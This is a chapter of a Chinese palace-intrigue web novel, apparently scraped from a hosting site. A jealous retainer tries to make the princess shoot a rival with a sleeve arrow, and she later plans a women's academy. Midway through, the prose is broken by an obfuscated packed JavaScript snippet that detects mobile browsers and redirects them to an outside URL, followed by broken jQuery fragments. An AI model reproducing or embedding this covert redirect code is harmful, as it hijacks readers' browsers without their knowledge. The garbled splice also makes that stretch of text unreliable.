62. 发火

作品:《揽月归

    外面的廊下挂了灯,微弱的光亮透进屋内,温柔地映照着李嫣的脸庞。


    “殿下还记得吗?”秦铮忽而一笑,轻声道。“你还欠我一个愿望。”


    和他柔和语气截然不同的,是眸中掩藏不住的慑人压迫。


    李嫣语气一紧:“你想做什么?”


    秦铮凝视她的双眼,伸手托着她的手腕往侧面抬起,直到她藏在袖子里的暗器对准门外那道身影,才道:“我的愿望是,殿下立刻杀了他。”


    李嫣倏地转头看向门外。


    裴衍还站在那里,只要她手里的袖箭射出,穿过门格上的油纸,立刻便能击穿他的脖颈。


    “你疯了?”


    李嫣眉心一皱,下意识就要收回手,可秦铮却始终扣着她的手腕,没动摇半分,长指甚至搭在了发箭的那枚机括上,神色不变,看着她声音嘶哑道:“我是疯了,才会任由这么一个男人轻而易举地走进你的人生!”


    李嫣道:“任何事我都可以答应你,除了这个。”


    “可我只要这个!”


    秦铮近乎自虐般地品味着胸口蔓延出来的隐痛,而后才看着李嫣面上的那抹怒色,重复道,“我只要这个,我要他死!”


    “秦铮……”李嫣眸光闪烁,仿佛听见了内心深处有一处细微而清晰的,什么东西破碎的声音。


    秦铮的眼尾泛红,温声道:“这么多年了,殿下可以不在乎我,可以不在乎我的情意,但不能不在乎,我唯一在乎的那个你。”


    一颗泪毫无征兆地从他眼中坠了下来。


    李嫣怔怔看着他,脸上说不出的惊讶。


    他道:“我不管你们说的究竟是梦还是真,这世上若有人会让殿下失控,危及性命,哪怕只有千万分之一的可能,我也绝不允许他存在!”


    “不会有那样的事的。”李嫣笃定道。


    “万一呢?”秦铮近乎执拗地劝说道,“殿下从前不是说过吗?凡有异常者,宁可错杀,不可放过……殿下难道忘了吗?我们经历了多少才走到这个位置。”


    这样一双带着乞求般希冀的眼睛,李嫣从未见过,她沉默片刻,将手稍稍往后一撤,放入他的掌心,轻轻回握住他的手,压了下来,希望能以此安抚他的情绪。


    她道:“我知道我在做什么,你可以冷静点吗?”


    秦铮没回答,低眼看着两人相握的手掌,苦涩道:“殿下还是舍不得。”


    李嫣沉默着。


    “我以为,我对殿下来说,和旁人不同。”


    秦铮红着眼,胸口霎时隐痛蔓延,既闷且冷。


    李嫣道:“你当然和旁人不同。”


    “那我是什么?”秦铮抬眼看着她,霜白俊朗的容颜上,印着泪痕,“我对殿下来说,到底是什么?”


    裴衍在门外站了很久,从落日余晖褪尽,到月华初临。门内的动静极其细微,他听不见,也不愿去听,他想着,总要等李嫣出来了再走。


    可时间一点点流逝,他心里那点浮浮沉沉不甚平静的心绪骤然躁乱起来,不自觉回身望向紧闭的门扉。


    书房里没点灯,从外头看去黑漆漆一片,静默异常。他心底莫名打起鼓,犹豫片刻,终是缓缓走上前去。


    阴影笼罩着门内的人影,李嫣想了想,才答道:“你于我而言,是家人。”


    秦铮的笑闷在喉咙里,水雾却一度模糊了他的视线。


    家人?


    家人也可以相伴一生,不是吗?


    李嫣看着他缓缓道:“有血缘的不一定能成为家人,只有互相珍惜,互相守护的,才能称之为家人。秦铮,除了你,我没有家人了,所以……”


    她语气一顿,胸口也漫出了几分难以言喻的疼痛,“别做傻事,别逼我恨你。”


    温热的泪骤然砸在她手背上。


    李嫣下意识垂眼,只见秦铮的指节握得愈发的紧,声音沙哑道:“恨……”


    她竟然说会恨他?


    “即便殿下恨我……”秦铮语气陡然变冷,“我也要杀了他。”


    李嫣猛地抬起头看向他。


    秦铮动作极快,反手攥住她微凉的手腕,力道精准地往上一抬,顺势按下袖箭的机括。


    与此同时,门轴转动的声音猝然响起。


    房门被人从外推开,裴衍的面孔随着涌入的光线一同出现在李嫣的眼前。


    心跳骤然落空。


    就在袖箭机簧彻底弹射,寒芒即将破袖而出的最后一刹那,李嫣不知从哪里爆发出一股决绝的力气。她手腕猛地一拧,用尽全身力量,带着秦铮控制她的手,狠狠向旁侧错开。


    “咻”的一声,短箭化作一道乌光飞射而出。


    袖箭之威力极其猛烈,破空而去时甚至发出尖锐的啸鸣。


    那一刻,李嫣只觉浑身的血液都滚沸了,随即瞬间封冻,脸色煞白。


    直至眼睁睁看着飞箭从裴衍的耳下空落落地穿过,连一缕发丝都未曾带起,怔然片刻,这才猛地松了一口气,差点脚下一软跌坐在地。


    秦铮没料想千钧一发之际她能为他做到这个地步,下意识一手托着她的腰身,长腿往后撤了一步,才站稳脚跟,扣动机括的指节轻轻发颤,随后,慢慢地垂下了手臂。


    此刻,看着李嫣垂头不语,他只觉浑身血冷。


    裴衍站在门口处,手还搭在门上,电光火石间只听得一阵飞啸声从耳边响起,带着凌厉的冷风,激起浑身颤栗。


    只一瞬,他便看清了眼前的形势。


    秦铮该是想杀他的。


    李嫣面无血色,沉默片刻,颓然地从秦铮胸前退开距离,低垂着眼睛,谁也没看,肃声道:“滚。”


    秦铮心底蓦然一紧。


    昏黄灯影下,李嫣的身影有一半埋在黑暗中,深寂而冷酷。


    裴衍张了张嘴,那一声“殿下”还没来得及叫出口,只听李嫣的语气陡然加重,厉声道:“都给我滚!”


    一个两个,统统都滚,滚得远远的!


    *


    从那日后,两个男人都没能再靠近公主府半步。


    只听说李嫣狠狠砸了满屋子的瓷器,噼里啪啦的破瓶声响个不停,整个公主府里伺候的人都不敢贸然靠近,连灯都没敢走进去点上一盏。


    谁也想不到,殿下这样貌美如仙的一个人,发起脾气来,跟阎罗似的!


    一直到书房内没了动静,白露才举着一盏烛火小心翼翼走了进去,踮着脚尖绕开锋利的瓷片,将窗角边上的鹤首铜灯点亮后,才见李嫣靠坐在书案前的太师椅上,眼眸微阖,双手搭在扶手上,指节松松垂落下来,露出来半截霜白纤细的手腕。


    看样子,像是累了。


    白露走近道:“殿下?”


    李嫣一动不动,仍旧闭着眼,倦声道:“研磨。”


    公主府大门外,裴衍听白露讲到此处,不禁皱眉问道:“殿下可有受伤?”


    白露摇了摇头:“未曾受伤。”


    裴衍定了定心神,又问:“可知殿下写了什么?”


    他那日离开书房前,便见李嫣写了几个字,虽然只是匆匆一眼,但没猜错的话,她应是要从卷宗里筛出当年涉及定远侯一案的官员。


    白露道:“没有殿下的吩咐,恕奴婢不能告知大人。”


    说罢,福身一礼便转身进了府。


    朱色大门缓缓合上,白露往里走了几步,便见前方立着一道高大颀长的身影。


    不是秦铮还能是谁?


    “秦世子怎么来了?”


    白露狐疑地看向一旁的高墙,猜测他应是翻墙进来的。


    往日里秦世子是可以从大门自由出入,无人敢拦的,也不知那日书房内到底发生了什么事,竟然让殿下发了那么大的火,好端端的,竟是连门都不让他进了。


    秦铮脸上半点不见以往的神采,只问:“殿下这几日怎么样?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16843905|187540||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    白露心道怎么一个两个都来找她打探消息,他们到底怎么惹到殿下了?


    想了想,她才道:“殿下这几日在忙着擢选伴读的事,看起来倒也没什么不一样。”


    秦铮道:“可有提起我?”


    “……”


    白露不知如何回答,脸上缓缓堆起一个尴尬又不失礼数的微笑。


    秦铮心下了然,没再多问,忍不住回身往李嫣住的院子看了一眼,而后道:“转告殿下,近日郭甫云和太子私下有所往来,恐生二心,让她早做防范。”


    白露郑重点了点头:“是。”


    说完话,秦铮犹豫半晌,终是压下了要去见李嫣的那股冲动,转身从哪进来又从哪出去了。


    飞虹连廊内,李嫣和苏晓相对而坐,凉风徐徐,卷起廊外的阵阵荷香,沁人心脾。


    苏晓一听说,秦铮竟然想让她亲手杀了裴衍,震惊得下巴半晌合不上。


    这小子这么凶的吗?


    不是?他俩到底谁是大小王啊?


    不对啊!不管谁是大小王,那也不能一开口就要人家的命啊!


    “难怪这几天都没见到秦铮。”苏晓喃喃道。


    原来是作死被打入冷宫了!


    李嫣面前摊开一沓名册,纸页间墨迹犹新,正是苏晓按她的要求,连日筛选出来预备选入弘文馆的女子名录。


    她逐页翻看过去,颇为认真。


    苏晓目光跟着她的翻动名册的动作说道:“那日你说要给我派差事,我万万没想到,竟是让我来教书!”


    “教书有什么不好吗?”李嫣淡淡笑道,“你那满腹才学不拿出来教授他人,岂不可惜?”


    苏晓心道她哪有什么才学,不过是有幸多读了几年书,多学了几年常人一辈子都接触不到的东西罢了。


    她道:“你没听说过一句话吗?上辈子杀猪,这辈子教书,若不是你说要扶持女子读书,我才不来呢!”


    李嫣笑了笑没说话。


    苏晓又问:“只是我很好奇,你为什么特意要选商贾之家出身的女子啊?我还以为你是打算帮助那些家境贫寒,又有向学之心的人呢!”


    李嫣淡淡道:“天下家境贫寒之人何其多,我又不是菩萨转世,哪里帮得过来?”


    说得也是!


    “光有向学之心有什么用?我需要的是有实力,有手段,能在弘文馆那群男人堆里站稳脚跟的人。”李嫣合上名册,望着苏晓认真道,“商贾出身的女子,识字、算账都是基本,对民生有一定的了解,又天生比寻常人更善于察言观色,随机应变。”


    最重要的是,她们背后的家族本身就是遍布各地的情报节点。商贾虽有财,但手里无权终是如履薄冰,假以时日,若能培养几个忠心可靠的女子走入朝堂,再将她们背后的家族收拢手中,才是真正的一本万利。


    不过这一点,她没告诉苏晓。


    苏晓一听就明白了她的意思。


    女学初立,弘文馆里那些世家子弟连低他们一等的寒门庶族都敢杀,更不用说女子了,虽说到时候她们是以公主伴读的身份进入,没人敢对她们怎么样?可凡事总有万一,挑选聪明点、能扛事的,总没错。


    她又问:“那你为何还要找家中兄弟姐妹多的?”


    话音刚落,便见一个侍女用托盘端着两个茶盏朝她们走来,恭敬地福身一礼道:“殿下,奴婢前来奉茶。”


    李嫣淡淡瞥了她一眼,没说什么。


    那侍女轻步上前,将新沏的茶盏依次放在她们面前,温热的瓷底触及木几,发出细微的轻响,随后又将先前已凉透的旧盏放回托盘上。


    她后撤几步就要退下。


    苏晓还欲接着问话,李嫣却突然叫住了那个侍女:“站住!”


    侍女脚步一顿,疑惑问道:“殿下有何吩咐?”


    “同样的招数用了两次。”李嫣扯着唇角,饶有兴致道,“你家主子是没长脑子吗?”